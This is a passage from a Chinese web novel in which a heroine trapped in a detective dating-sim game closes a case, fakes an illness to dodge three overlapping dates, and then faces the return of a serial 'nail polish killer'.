我是真的累了,我知道他也是,他应该有自由的灵魂,却永远被困在这具萎缩的身体里,于是我放下吸痰器的管子,轻轻抚摸着他的脸,想就此放他离开。可看着他脸色越来越红,表情越来越扭曲,我突然慌了,连忙拨打了急救电话,央求医生一定要救救他,可是……一切都已经太迟了。
医生把他从抢救室里推出来的时候,他就好像睡着了一样安详,我仿佛看到他的灵魂飘浮在半空中,对我说:“妈妈,你看,我自由了。”
也是在那一天,我在医院里看到了刘玉珍,她同样无力地靠在抢救室的门外,我们目光相撞的瞬间,她瞳孔里的绝望让我感到无比熟悉。
还有柯盛、方晴、老钟……我从他们的脸上看到了跟泽阳一模一样的表情,当他们写下那一字一句时,我就知道只有我才能拯救他们,帮助他们解脱——就像我帮泽阳那样。】
系统响起提示音:“恭喜您完成本阶段剧情任务!”
祝好放下那封信,轻轻呼了口气,透过单向玻璃看向坐在审讯室里的索晓兰。
她似乎是哭累了,呆呆地看着前方。整个人如同被抽空了内核,只剩下一副皮囊,眼神好像穿过了审讯室厚重的墙壁,落在很远很远的地方。
*
剧情任务终于结束。
离开监听室,站在警局的走廊上,祝好记起之前答应过李砚川要跟他一起去新开的甜品店,而且从系统商场兑换的礼物也还没送给他,便掏出手机发了个信息:“李砚川,你明天有时间吗?我们一起去你说的那家甜品店吧。”
信息刚发出去不到5秒钟,手机立刻震动起来,祝好刚想打开信息查看他的回复,肩膀突然搭上了一只手:“祝好。”
她下意识把手机屏幕摁灭,回头一看,是秦聿风。
祝好如无其事地收起手机,问道:“怎么了?”
“祝好,那个……我有个问题想问你。”
秦聿风顿了顿,仿佛在思考如何开口:“哦,其实也没什么。就是……那天我闲着无聊刷手机时,无意中看到网上有人列了个清单,是淮江市最值得打卡的几个景点,如果让你选的话,你会比较喜欢哪儿?”
说着从裤袋里掏出手机,找出一张图片递到她面前。
祝好顺着他的话音看了眼手机屏幕,上面都是些植物园、公园、湖畔之类的。
见她没有马上回答,秦聿风又迅速划到了下一页:“如果刚刚那些你不感兴趣的话,这里还有其他选择,比如去山顶看日出,或者溜冰、徒步……”
比起“最值得打卡的景点”,这些倒更像是“最适合约会的项目”,而且每一项都细心地标注了地点和注意事项,显然不是“闲着无聊”时“无意中”看到的,而是经过精心挑选后做的攻略。
祝好把手机还给他,试探性问道:“秦聿风,你这是想约我出去吗?”
大概是没想到她会问得那么直接,秦聿风咳了一声,尴尬地抓了抓后脑勺:“我明天刚好休假,想问问你明天有没有时间……”
明天?祝好暗暗吸了口凉气,在口袋里点开李砚川刚才回复的短信看了一眼,果然是“当然有空”。
这不就撞上了吗,她扶着额头踌躇片刻,问秦聿风:“改天行吗?”
“改天?”秦聿风一愣,看似无所谓地笑了笑,但语气中带着难以掩饰的失落:“我的假期只有一天……不过没关系,下次再去也行。”
祝好有些为难,目前已知约会确实能提升好感度,秦聿风难得有一天假期,可她又先约了李砚川,这可怎么办好。
她的大脑飞速运转:李砚川一般会睡到中午才起床,不如早上先跟秦聿风去看个日出,下午找个借口开溜,再跟李砚川一起去甜品店,这样时间规划得刚刚好,还能在一天之内同时提升两个人的好感度,简直是再完美不过。
思及此,她连忙拦住刚要转身离开的秦聿风:“我明天有空,我们明早去逛公园吧!”
秦聿风脚步一顿,面露惊喜:“真的吗?”
祝好很想吐槽秦聿风这个钢铁直男做的约会攻略为什么都是户外项目,大冬天清晨离开温暖的被窝在外面吹冷风真的浪漫吗?但为了好感度,只能忍了。
她点点头:“嗯。”
秦聿风嘴角抑制不住往上翘:“对了,我还知道有个草莓园刚刚开张,我们下午可以一起去摘草莓。”
祝好:“……不是,那个……”
话还没说完,秦聿风的电话忽然响了。他拿起手机看了一眼,对祝好说了句:“我先去忙,明
天早上九点我去接你。“接着就匆匆转身离开了。
祝好欲哭无泪地看着他的背影,掏出口袋里不停震动的手机,看到李砚川发来的一长串信息。
“好好,我们明天几点去?”
“我一整天都有空,要不我们早上出去吧?”
“甜品店十点钟开门,我们可以九点钟出发。”
“对了,你想不想玩密室逃脱?吃完甜品我们可以一起去。”
海王还真是不好当。祝好汗流浃背,正犹豫要怎么回复,忽然听到身后有个熟悉的声音在叫自己的名字。
是温珣。
她头皮发麻,心里突然生出一种不祥的预感,不会吧不会吧,不会他刚好明天也要约自己出去玩吧。
不会的,应该没有那么巧的事。
她回过头,艰难地挤出一个笑容:“怎么了?”
温珣扬了扬手里的两张票:“明天有一场音乐剧,我这儿有两张票,你要不要一起去?”
祝好:……
真是怕什么来什么,她正思考着如何婉拒,突然瞥见票上的价格……一千两百八?
祝好咋舌:“什么音乐剧那么贵?”
“是一部很经典的作品,目前正在全球巡演。原价现在已经买不到了,我朋友好不容易弄到两张,我求了他好久他才愿意高价卖给我。”顿了顿,温珣贴心地给她台阶下:“如果你不感兴趣也没关系的,我可以把票还给他。”
祝好连忙摆手:“没有没有,我没有不感兴趣。”
只是一天之内同时跟三个可攻略对象约会,除非她有影分身,否则实在是做不到啊。
但温珣显然误会了她的意思,松了口气似的,说道:“你有兴趣就行,音乐剧晚上八点开始,我们可以先去吃个晚餐。”
解释的措辞还没说出口,走廊的另一头忽然有警员朝温珣招了招手:“温主任,这边有份资料要麻烦您帮忙看一下。”
温珣应了一声,转头把其中一张门票塞进祝好手里,对她笑了笑:“那明天见。”
祝好:……
这下可完了。
祝好坐在走廊的长椅上哀叹一声:本来以为可以当个时间管理大师,没想到结结实实摔了个跟头。
这游戏也太不礼貌了,她只不过想提升点好感度而已,怎么突然就给她来了个地狱级别难度的约会选项?
正惆怅着,头顶上传来程述的声音:“坐这儿装什么深沉呢?走了,回家了。”
祝好把脑袋靠在椅背上,生无可恋地说:“老大,我完了,这游戏要被我玩崩了。”
程述疑惑地瞥了她一眼,在她旁边坐下:“索晓兰已经承认了犯罪事实,在几个受害者家里也找到了属于她的指纹,你的剧情任务不会还没完成吧?”
眼下出现了更危急的情况,祝好早就将之前梦里那点芥蒂抛之脑后,撇了撇嘴:“不是剧情任务的事。”
程述眼睛一转,一副饶有兴致的模样:“那是什么?”
“是……”话到嘴边,祝好又犹豫了,不放心地叮嘱他:“我跟你说了你不许笑。”
程述信誓旦旦:“你说,我尽量忍着。”
这家伙的前科实在太多,不仅总是给她出些馊主意,还恶趣味地喜欢暗戳戳使坏看她笑话。可偏偏他又是唯一知道她真实身份的人,除了他,祝好也不知道自己还能跟谁倾诉了。
她心虚地左右看了看,确定周围没人注意到他们之后,才压低声音把事情的始末跟他说了一遍。
不出所料,他听完以后猛地一拍大腿笑得前俯后仰,差点没从椅子上滑下去,惹得路过的警员纷纷回头看他们。
祝好赶紧捂住他的嘴,拽着他的胳膊就往警局外走。
回到车里后,他还是趴在方向盘上笑得停不下来。祝好气急败坏地狠狠掐了他一把:“不是说好不笑吗!”
程述好不容易才止住笑,擦了擦眼泪说道:“我可没说不笑,我只说了尽量忍着。”
祝好无言以对:“你笑也笑够了,有个忙你必须得帮我。”
“什么忙?”
“明天你给他们发个信息,就说我突然生了重病,卧床不起。”
这是她绞尽脑汁能够想到的唯一一个一碗水端平的方法,那就是明天一整天都留在家里,哪儿都不去。
程述挑着眉扫了她一眼,故作为难地叹了口气:“这可是你自己要求的,到时候可别怪我破坏你的约会。”
嘿,还怪记仇的。
祝好无可奈何往座椅里一靠,没好气道:“知道了。”
第180章
第二天一大早,祝好就抱着抱枕坐在沙发上,紧张地看着程述摁下秦聿风的号码,做好了随时捂住他的嘴的准备,生怕会从他嘴里蹦出什么不该说的话来。
电话很快接通,对面传出秦聿风的声音:“喂,老程,怎么了?”
程述跟她对了个眼神,说道:“哦,你今天不是约了祝好出去吗?她今天早上突然发了高烧,去不了了,让我跟你说一下。”
电话那头的秦聿风愣了一下:“我不信,她昨天还好好的,我警告你别跟我耍心眼。”
程述啧了一声:“怎么说话呢,我是那种人吗?”
秦聿风反问:“你不是那种人吗?”
程述嗤笑:“那你自己跟她说吧。”
说着把手机扔给在一旁捂嘴偷笑的祝好。
祝好手忙脚乱接过手机,清了清嗓,把音量和声线调整成有气无力的状态:“喂,秦聿风,我是祝好。”
听到她的声音,秦聿风紧张起来:“祝好,你没事吧?怎么突然生病了。”
“我没事,可能只是着凉了。”祝好胡诌了一句,心里实在有些过意不去,又补充道:“对不起啊,浪费了你一天假期。”
这句道歉是真心实意的,毕竟他好不容易才能放一天假,还特地做了攻略,最好祝好又不得不用这样的借口推掉约会,说不愧疚是假的。
秦聿风轻轻笑了一下:“这有什么的,我这辈子又不是只放这一天假。你不舒服就好好休息,别想太多了。”
挂断电话,祝好呼了口气。撒谎这件事她实在是不擅长,幸亏程述替她分担了大部分。
她双手把手机还给程述:“下一位。”
程述斜了她一眼,拨通了温珣的电话。
除了工作之外,他和温珣私下几乎没什么联系。温珣接起他的电话,似乎有些疑惑,但语气还是干巴巴的:“程大侦探,找我有何贵干。”
程述懒洋洋地回应:“没什么,就想问问你家地址在哪儿。”
温珣警惕起来:“问我家地址干什么?”
“你瞧你态度怎么那么差呢,祝好生病了,不能跟你去
看音乐剧了,让我叫个跑腿把票送过去给你。”
“祝好病了?她怎么了?”
程述原封不动搬出祝好刚才那一套说辞:“感冒着凉了,卧床不起,哪儿都去不了。如果你不介意,那个什么音乐剧我倒是可以陪你一起去。”
温珣冷冷地回了句:“介意,我可不想恶心自己。票不用送回来了,你留着吧。”
程述嘿嘿一笑:“温主任大气。”
温珣懒得多跟他说一句话,一言不发地挂断了电话。
祝好赶紧给程述递上一杯温水:“老大辛苦了,来润润嗓。”
程述接过水杯,慢条斯理道:“哎呀,肩膀怎么好像有点儿酸。”
又来!就知道这家伙会得寸进尺。但考虑到有求于他,祝好只得忍气吞声,递上一个虚情假意的微笑:“我给你按。”
程述志得意满地背过身,叮嘱她:“温柔点儿啊,不准像上回那样。”
“行行行。”祝好咬牙切齿地控制手上的力度,催促道:“你赶紧把最后一个电话打了。”
程述从通讯录里找到李砚川的号码,拨了过去。电话接通,李砚川有些惊讶:“侦探先生?”
程述开门见山:“李老板,祝好让我跟你说一声,她今天身体不舒服,不能出门了。”
李砚川忙急切地问:“好好怎么了?”
程述敷衍:“感冒而已。”
“好好感冒了?是不是很严重?需要送她去医院吗?”
程述随口答:“不严重,暂时死不了,只是通知你一下,她今天没办法跟你出去玩了。”
李砚川:“没关系没关系,还是身体最重要,不过去医院太麻烦了,侦探先生,要不我找个私人医生去家里给她看一下……”
“你说什么?我这儿信号不是很好,先挂了啊。”眼见李砚川没完没了,程述的耐心几乎要耗尽,没等他把话说完就掐断了电话,埋怨道:“累死我了。”
祝好朝着他的后脑勺翻了个白眼,打几个电话有什么累的。
一连推掉了三个约会邀请,虽然错过了提升好感度的机会,但好歹也算是不偏不倚、一视同仁,这样一来,祝好心里也不至于太歉疚。
帮程述按完肩膀,她靠在沙发上伸了个懒腰,正盘算着这空闲的一天要做点什么来打发时间,家里的门突然响了。
她走到门前刚要把门打开,冷不丁想起什么,透过猫眼往外看了一眼,头皮差点炸开。
程述见她站在门前发愣,问道:“怎么了,门外站的是死神啊?”
祝好回过神来,踮着脚尖跑回沙发上一把扯过程述腿上的毯子,唰地躺下了,拼命超他使眼色,低声解释道:“秦聿风来了,赶紧去开门。”
程述微微一愣,旋即幸灾乐祸笑出声来:“这可是另外的价钱。”
情况紧急,祝好没时间跟他讨价还价,潦草地点头答应,然后用毯子蒙住头,装出一幅病恹恹的模样。
开门声隔着毯子传来,接着是程述气定神闲的声音:“哟,老秦,你怎么来了?”
“我来看看祝好。”
“睡得跟头猪似的,有什么好看的。”
祝好配合地在沙发躺得板板正正,动也不敢动,却听到有脚步声越来越近。
过了一会儿,盖在脸上的毯子被小心翼翼往下扯了些。祝好佯装虚弱地半睁开眼,映入眼帘的是秦聿风担忧的表情。
“祝好,你还好吗?”
祝好还没开口,程述就抢先替她回答:“她嗓子哑了,说不出话。”
秦聿风双眉拧紧:“怎么会这样,刚刚电话里不是还挺好的吗?”
“谁让你刚才不信我,非要她亲自跟你解释。”程述面不改色地扯谎:“喏,你看,打完电话就变成这样了。”
秦聿风闻言面露愧色:“对不起啊,祝好,我还以为老程逗我玩儿呢。不过你怎么突然就生病了,有没有发烧?”说着就要手去探她前额的温度。
祝好一惊,短促地“啊”了一声,把脑袋缩回毯子里,拼命朝他摇头。
秦聿风一愣,动作也停滞住:“怎么了?”
程述抱着双臂靠在一旁胡说八道地翻译:“她说怕传染你,让你别靠那么近,也别碰她。”
秦聿风:“她只说了一个字。”
程述耸了耸肩:“她就是这个意思,不信你问她。”
祝好赶紧点头。
秦聿风释然一笑:“没事,不用担心我,我身体可健康了,不会那么容易被传染的。”
又回头问程述:“她吃过药了吗?”
程述不耐烦:“吃了吃了,放心吧。你结案报告写了吗?闲成这样,要不回局里加个班吧。”
秦聿风刚要说什么,门突然又被敲响了。趁他分神的当儿,祝好赶紧重新把毯子蒙在头上。
程述叹了口气,把门打开,突然绷不住笑了一声,语气里有掩饰不住的促狭:“嗯?温主任,你也来了?”
祝好:……
温珣:“什么叫也……秦队?”
秦聿风显然也愣住了:“温主任,你怎么来了?”
温珣解释:“我听说祝好生病了,正好我知道一个方子配方对治感冒很有效,就抓了点药过来给她。”
“哦……”秦聿风迟疑片刻,欲言又止:“不过你怎么突然对她……那么关心?”
祝好恨不得从沙发上蹦起来捂住他的嘴:求你了,问什么都行,别问这个!只要不问这个,你们就还能保持单纯友好的同事关系!
然而此刻“弱如扶病”的她只能在毯子下面装死,暗暗祈祷温珣不要把话说得太直白。
温珣怔了一下,淡淡地回了句:“很突然吗?我一直对她挺关心的。”
……非常完美的回答,每个字都成功避开了正确答案。
秦聿风没应声。
祝好悄悄把毯子挪开一条缝,瞅见他的表情有些紧绷,赶紧拼命朝程述挤眉弄眼,试图提醒他说点什么来缓和气氛,没想到这家伙只顾着看热闹,全然没注意到她的举动。
眼见气氛愈发剑拔弩张,她只好扯下毯子把脑袋露出来,使出毕生的演技虚弱地颤抖着举起手,哑着嗓子“啊”了几声,试图分散他们的注意力。
这招果然奏效,温珣闻声放下手里的药,走到沙发旁边俯身看她,关切道:“祝好,你没事吧?”
秦聿风:“她嗓子哑了,说不出话。老程,你再翻译一下。”
程述捻着下巴跟她对视一眼,一本正经地说:“她说,你们要打出去打,可别在我家里打。”
祝好:?
这家伙是还嫌场面不够乱吗?
她赶紧摇头,刚抬起胳膊想要比划着解释,门又一次被敲响,所有人不约而同转头看向门口的方向。
按照剧情发展,这回不用想也知道来的是谁了。
祝好放弃挣扎,安详地闭上了眼睛:还解释啥呀,不解释了,世界毁灭吧,现在、立刻、马上。
程述开了门,门外果然传来李砚川的声音:“侦探先生,我刚才给好好发了信息,她没回复我,我太担心了,所以……”
他话音顿住,扫视着满屋子的人,不免有些疑惑:“嗯?秦警官也在?还有……”
温珣主动自我介绍:“温珣。”
李砚川笑了笑:“我记得,你是那个很厉害的法医,上回我们在这里见过。你们怎么都在?好好呢?”
秦聿风干巴巴地问了句:“怎么,你也是来看祝好的?”
白眼狼虽然白眼狼,但还是认出了门外的是曾经给自己上供过进口罐头的两脚兽,竖起毛绒绒的大尾巴上前迎接。
傻白甜的李砚川似乎完全没听出他这句话里的敌意,摸了摸白眼狼地脑袋,点头道:“对啊,好巧,每次好好生病的时候我们都在,真是缘分。”
祝好欲哭无泪:是啊,真是特别的缘分。三个可攻略对象欢聚一堂,再加上程述,可以凑一桌麻将了。
要不谁也别攻略谁了,五个人一起把
日子过好不比什么都强吗?魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
180-190
第181章
温珣提着药进了厨房,不一会儿苦涩的中药味便飘满了整间屋子。
秦聿风和李砚川站在沙发的两端面面相觑,在这样“谁先说话谁尴尬”的气氛中,也不知是谁突然提出“听说发烧的时候要多喝水、把汗捂出来”,另一个人忙应和着“对对对”。
祝好在心里呐喊兄弟这哪儿对了,发烧应该散热才对,捂汗会加重发热症状的!
然而在场没有一个人提出异议,唯一比较有常识的温珣又忙着煎药,于是片刻后,一张十斤重的大棉被盖在祝好身上,压得她差点喘不过气来。
怎么会这样,小说里那些修罗场不都是极致拉扯、狗血又刺激吗?可不论怎么想,这场闹剧中受伤的都只有她自己,难道这就是“自食其果”的具体表现吗?
万幸的是屋里的每个人虽然都各怀心事,但还是维持着某种微妙的平衡,除了刀光剑影般的眼神交流和几句阴阳怪气的嘲讽之外,并没有真的打起来。
屋里不仅阳气十足,暖气也十足,盖着大棉被的祝好被捂出一头汗,刚偷偷摸摸把被子往下扯了一些,就被眼尖的秦聿风发现了,贴心地帮她掖好被角。
暮色四合时,温珣终于把中药煎好了。在几个人关切的目光中,身体健康的祝好捏着鼻子吞下了一整碗据说对治疗感冒有奇效的药汤——药汤虽然苦,但也没她此刻的命苦。
喝完中药,李砚川又端着一杯冒着白雾的热水蹲在沙发边上,把杯子递给她:“好好,来喝杯热水。”
嘴里的苦味还没散去,祝好顶着一肚子水摇头示意自己不想喝,但李砚川格外坚持:“生病了就是要多喝热水,你要赶紧好起来,等你病好了我们再一起去甜品店。”
秦聿风眼睛微微一眯:“什么甜品店?”
李砚川:“是一家新开的店铺,本来我今天要跟好好……”
祝好脑袋里警铃大作:不要啊,别说出来,说出来这个游戏就真的崩了!
一只玩具老鼠从程述手中抛出,白眼狼像是得到了某种指令,追着老鼠纵身跃上沙发,恰好撞翻了李砚川手里的杯子,热水立刻洒了一地,打断了他未说完的话。
程述也在这时掩嘴咳了一声,提醒道:“既然生病了,最重要的是要好好休息,保证睡眠,你们这样折腾她一天,好得了才怪呢。”
祝好感动得差点泪流满面,患难见真情,关键时刻还是自家人靠谱,她发誓一个星期之内都不说程述的坏话了。
大概是觉得程述说得在理,秦聿风收拾好地上的水和玻璃碎片,带头说了句:“那我们还是先回去吧,让祝好好好休息。”
李砚川依依不舍地趴在沙发边上看着祝好:“好好,你要赶紧好起来。”
温珣则暂时放下对程述的成见,叮嘱道:“这些药要先用凉水浸泡半小时,水浸过药材三厘米左右,大火煮沸后改成文火继续煮45分钟。”
祝好闭着眼睛在沙发上安枕而卧,被几个人团团围在中间,耳边萦绕着道别的话语,仿佛误入了什么遗体告别仪式的现场。
程述的耐心到了极致,把人一个接一个往外赶:“行了行了行了,别吧嘚吧嘚吧的,烦死了,赶紧走吧。”
脚步声远去,关门声响起,世界终于安静了。
危机解除,祝好蹭一下从沙发上坐起来,掀开厚重的棉被,如释重负地舒了口气,感激地看向程述:“老大,你可真是我的救命恩人。”
程述嗤笑:“我可不是白白帮你的,说了这是另外的价格。”
虽然他脑子里藏着一箩筐馊主意,但最起码的分寸感他还是有的,祝好笃定他不会提出什么越界的要求,于是放心地拍着胸口打包票:“放心,我不是那种忘恩负义的人。说吧,要我做什么?”
“我还没想好,先欠着吧,等我想到了再告诉你。”程述在沙发上坐下,指了指茶几上堆着的碗和杯子:“你先把这些残局给收拾了。”
从白天躺到晚上,祝好整个人都僵硬了,起身伸了个懒腰,把碗和杯子搬回厨房里。
这一天下来她身心俱疲,本来只是想提升点好感度,多赚取几个积分,没想到偷鸡不成还差点蚀把米,要不是有程述帮忙助攻,今天怕是没办法收场了。
什么修罗场,还不如案发现场来得安逸呢。
洗碗的间隙,祝好唤出许久未出现的系统,打开控制面板看了一眼,发现自己跟几个可攻略对象的好感度几乎都达到八九十点,总积分也过千了。
从游戏的角度来看,她现在手里的资源十分充足,甚至已经溢出。
随着剧情的深入,她对破案这件事也越来越得心应手,有的剧情任务甚至一个积分都不用花,顺利破案后还能获得奖励。
经历了今天这场闹剧,祝好对攻略这件事已经产生阴影了。
要不从今天开始进入养老模式吧,现有的积分该省省该花花,有新的剧情任务就专心破案,没有剧情任务就安心躺平,也不刻意去提升好感度了,一切随缘就好,进展慢点儿也没关系——
毕竟习惯了现在的生活,回不回现实世界好像也不是那么重要了。
*
同一时刻,老旧居民区的巷子里昏暗的路灯不停闪烁,在墙面上投下暗黄色的光。
鞋跟敲打地面的声音回荡在巷子里,加班晚归的年轻女人步履匆匆,身后似乎忽然传来窸窣的声响,激起浑身细密的战栗。她不由得警觉起来,不动声色地把手伸进包里,握紧了藏在夹层中的防狼喷雾。
那动静越靠越近,她心脏狂跳,调整好呼吸后,在一个拐角处掏出防狼喷雾猛地回身,却发现身后除了被路灯拉长的影子外,就只有一只黑猫从墙头跃下,消失在黑暗中。
女人松了口气,自嘲地笑了一下:果然是她想多了。
这条路四周都是废弃的老旧居民区,静谧的空气中处处透露着诡谲,连路灯都是忽明忽暗,稍有动静就会吓到自己。如果不是因为走大路回家要多绕一圈路,她也不会选择走这里。
定了定神,她把防狼喷雾放回包里,加快步伐继续朝亮着灯的巷口走去——不论何时何地,光明总是能给人安全感,让人觉得莫名安心,仿佛只要身处亮处,身后的黑暗就不复存在。
眼看离巷子口越来越近,女人悬着的心终于逐渐落地,脚步也随之放缓。
就在她即将踏进光亮里的那一刻,脖颈处忽然传来一阵剧烈的刺痛,瞬间禁锢住了她的呼吸和尖叫。
手里的提包应声落地,惊得躲在暗处的黑猫浑身炸毛。一声沉闷的倒地声过后,巷子重新回归平静,仿佛刚刚的一切都没有发生过。
*
“程先生,麻烦您确认家具没有损坏后,在这儿签个字。”
程述接过送货员递来的纸和笔签上了自己的名字,指了指堆在门口被拆散的床和衣柜:“这些旧的家具也麻烦你们帮忙处理一下。”
送货员擦了把汗:“没问题,不过……”
程述把签好字的运单还给他们:“我知道,搬运费和垃圾清运费我会另外付的。”
送货员应道:“好嘞,待会我们就顺便帮您拉到垃圾场去。”
送货员前脚刚走,没过几分钟门又被敲响了。祝好打开门,发现门外站着的是房东大妈。
房东大妈眼神透过门缝满屋乱飘,看似随意地问道:“小程,你们把阁楼的家具给换了呀?”
“哦。”程述淡淡地应了一声:“我自费换的,到时候就算退租了东西也不搬走,都留给您。”
房东大妈大方地摆了摆手:“没事,那些家具都那么旧了,直接扔了也行。不过……”
她八卦的眼神重新落回祝好身上,问出了心头的疑问:“你们不是睡一个房吗,怎么还特地换了阁楼的家具?阁楼还有别人住吗?”
祝好噎住,心道阿姨你是不是管得太宽了,敢情特地上来就为了问这个。她一时不知道要怎么回答,只好把求助的目光投向程述。
程述点点头:“我们是一起住的,不过把阁楼收拾好了,以后吵架我就不用睡沙发了。”
……这家伙还真是张口就来,撒起谎无波无澜、面不改色的。
房东大妈的八卦之魂得到了满足,恍然大悟地哦了一声:“这样啊,那你们收拾吧,我就不打扰了。”
祝好目送房东大妈离开,关上门叹了口气,对程述道:“老大,你是不是钱多得花不完啊,干嘛非要换掉那些家具。”
程述停下扫地的动作,斜了她一眼:“对,我就是钱多得花不完,你别管了,赶紧去收拾一下你的床……”
话还没说完,他放在餐桌上的手机突然响了。
祝好抻头看了一眼屏幕,把手机递给他:“是秦聿风。”
程述摊开满是灰尘的手掌:“你帮我接吧。”
祝好哦了一声,摁下接听键,打开免提。
秦聿风的声音从电话那头传出:“老程,我给你发个地址,你赶紧过来一趟,有急事。”
程述回头看了看屋里一片狼藉,为难地嘶了一声:“什么案子啊,来得真不是时候,我这儿……”
秦聿风语气凝重地打断他:“我跟你说认真的,你手头有什么事
都先放一放,马上过来,城郊发现了一具女尸。”
顿了顿,他才接着说:“她的手上……涂着红色的指甲油。”
第182章
季风和冷暖空气的交汇带来了淮江市的第一场春雨,铅灰色的云层沉甸甸地压在城市上空,让人喘不过气来。
朦胧的雨幕中,数十辆警车已经停在河堤旁的公路上,不停闪烁的红蓝警灯映亮了逐渐被黑暗笼罩的旷野。
自从接到秦聿风的电话后,程述一路上一直缄默不语,眉宇间仿佛压着千钧重。车刚停好,他就兀自解开安全带,推开车门朝拉起警戒线的案发现场走去。
祝好往前几步,举高手中的伞撑在他头顶。他似乎察觉到什么,虽然脸色依旧阴沉,但还是不动声色地放缓步伐,配合她的步调。
身穿雨衣的秦聿风已经站在警戒线外等着了,看到他们过来,示意身旁的警员给他们递上鞋套和手套。
河堤上芦苇丛生,消融的冰雪融化成湍急的河流,咆哮着奔向平原的尽头。探照灯把整个现场映得如同白昼一般明亮,光束的中央,一个年轻女人跪坐在泥泞的荒地上,合十的双手被固定在身前十字样式的木架上,仿佛在祈求着什么。
祝好的目光落在她的十根手指上,那一抹浓稠的红色绚丽而诡谲。
一时间,纷繁复杂的画面在脑海中无序、混乱地播放着。
深不见底的黑夜、亮着冷光的刀、雨衣摩擦的声音,指甲油在指尖冰凉的触感……
祝好突然感觉一阵没由来的眩晕袭来,下意识往后退了一步,撞上了身后坚实的胸膛。
秦聿风扶住她的肩膀,待她站稳后才关切询问:“祝好,你没事吧?”
祝好摇摇头:“我没事。”
她做了个深呼吸,重新把视线挪回女孩身上。
女孩头颅低垂,看不清样貌,但还是能辨认出大约是二十五六岁的年纪,头发长至肩膀,胸口处留着一节刀柄,身上的白衬衫破了好几个窟窿,被血染红后又被春雨冲刷成晕开的淡粉色,湿漉漉地贴在身上。
程述无视了周遭的一切,面色凝重地围着尸体看了一圈,转头问道:“死者身份确认了吗?”
秦聿风:“还在查,暂时没发现任何能证明身份的证件。”
程述又问:“谁报的案?”
“两个钓鱼的老头,已经排除他们的作案嫌疑了。”
程述眯起眼睛打量着尸体,问温珣:“尸检结果呢?”
温珣没像往常一样跟他互怼,严肃地回道:“死者颈部有明显的勒痕,生活反应明显,应该属于生前伤,推测是在没有防备的情况下被人从身后袭击留下的。致命伤应该还是胸口这一刀,详细的还需要等解剖结果出来才知道。”
秦聿风接过话:“我们对周围的环境做了筛查,没有发现血迹,从昨天晚上就陆陆续续下雨,想找到可供分析的脚印可能会有点难度。”
虽然受害者的年龄、身高、发型都符合指甲油杀手的偏好,手上的红色指甲油更是与指甲油杀手作案后留下的标志一模一样,但祝好还是心存疑虑,毕竟当时许安宁联合同为受害者家属的蒋涛杀害唐芸时,也曾将现场布置成这样。
她忍不住问:“会不会又是模仿作案?”
秦聿风没作声,朝身旁的警员使了个眼神。警员会意,把一张用证物袋装着的照片递给程述:“这是在死者手心里发现的,被一个防水的塑料袋包裹着。”
程述接过照片看了一眼,深深吸了口气,微微颤抖的手因为用力而骨节泛白。
那是一张拍立得,已经有些模糊褪色了,但祝好一眼就认出了照片上的女孩正是程霜。她脸色苍白,双眼紧闭,身下枕着一大片殷红的鲜血,白裙子也被染成了红色。
探照灯惨白的光流过程述紧锁的眉头,顺着他紧绷的下颌滴淌,隐没进领口中,他缓缓低下头,呼吸的节奏有些紊乱。
秦聿风轻咳一声,小声提醒:“老程,照片后面有字。”
程述闻言把手里的照片翻到背面,只见上面用红色的墨水写着几个字——“勿忘我”。
祝好的心猛地一沉,眼前倏然闪过那天在墓园见到的画面:粉紫色的干花衬出灰暗的墓碑上程霜鲜活的笑脸,而那束花,正是勿忘我。
*
雨丝交织成一张密不透风的大网,车在城郊空旷的公路上风驰电掣,迎面而来的车辆响起刺耳的喇叭声,把祝好惊出一身冷汗。
“老大,你、你慢点儿开……”她牢牢抓紧车门上的扶手,看了眼有些失神的程述,小心翼翼地提议:“不然我们先停在路边休息一会儿?”
程述面无表情地看着前方,手上的方向盘一转,那台年久失修的破车猛地蹿了出去,随即他一脚刹车,拉起手刹,车子这才稳稳当当地停在路边。
他一言不发地把脑袋靠在了方向盘上,沉默良久才缓缓开口:“对不起,吓到你了。”
冷不丁的一声道歉让祝好猝不及防,一时不知该做什么回应,只好摇了摇头表示自己没事。
犹豫片刻,她轻轻把手搭在程述肩上,问道:“老大,你还好吗?”
问题脱口而出后,她才后知后觉自己问了句多余的话,只好闭口不语,任由车窗外的风雨声填满沉默的间隙。
有大货车呼啸着疾驰而过,流转的车灯转瞬消失,似乎连同他的体温也一并带走,无边的黑暗很快将他的身影缠缚、吞没。
半晌后,他才坐直身子,仰头靠在座椅上,喃喃道:“我以为他永远都不会再出现了。”
自从五年前指甲油杀手突然消失之后,由它衍生出来的惶恐、担忧甚至是各种光怪离奇的谣言都逐渐淡出大家的视野,然而这起悬而未决的案子始终犹如悬停在头顶的一把铡刀,令人胆战心惊,不知它何时会再次斩落。
祝好问:“你觉得这回真的是指甲油杀手吗?”
程述双眼紧闭,捏着自己的眉心:“小霜遇害的那张照片,除了他,不会有第二个人有。”
拍立得照片上的日期正是程霜遇害的时间,回想起照片里的惨状,祝好的心仿佛被一只无形的手狠狠揪了一把。
之前祝好刚进游戏时差点被许安宁一刀剁死,从而引出了指甲油杀手一案的线索,也拉开了游戏的序幕。
在完成了那么多个剧情任务后,游戏似乎也逐渐到了尾声。最后一案,八成就是跟真正的指甲油杀手来个正面对决了。
程述长长地吁了口气:“小霜坟前那束花一定是他放的,他这回……也是冲着我来的。”
十三年前,指甲油杀手第一次犯案,杀害了当时年仅十八岁的蒋婷婷,此后又连续杀害多名女性,却一直没有被警方抓到。
五年前,刚进入警局的程述对他进行了详细的心理剖绘,认定他是一个聪明、谨慎且十分自恋的人,对公众注意力有着病理性的渴求,于是故意在新闻采访中对他做出了错误的分析。
正如程述预料的一样,指甲油杀手根本无法容忍别人对自己的否认,立刻给电视台寄去了跟案件有关的信件和照片,以嘲笑警方的无能。
不过程述没想到的是,在连续杀害多名女性后,单纯的杀戮行为已经不能满足指甲油杀手的欲望。
程述的出现仿佛给他带来了新的挑战,他把程述当成对手一般的存在,不仅杀害了程霜,还在消失五年后又重新出现,并在程霜的坟前摆上一束勿忘我,试图向程述传达出一个信息:别忘了我,我回来了。
祝好有意缓和车里沉重的气氛,拍了拍他的肩膀,说道:“老大,别担心,我会保护你的。”
“我不是担心我自己,我是担心……”他不着痕迹地瞥了祝好一眼:“他会再一次对我身边的人下手。”
身边的人?
程述总说“人际关系比尸体还要难处理”,除了秦聿风之外,他几乎没什么能称得上
是“朋友”的人。
祝好心里突然一动:难道他担心的……是她?
毕竟祝好的身高、长相和年龄都符合指甲油杀手对受害者的偏好,他如果还是把报复程述当成目标,确实会有一定几率盯上一直跟在程述身边的祝好。
祝好打趣:“你担心我就直说呗。”
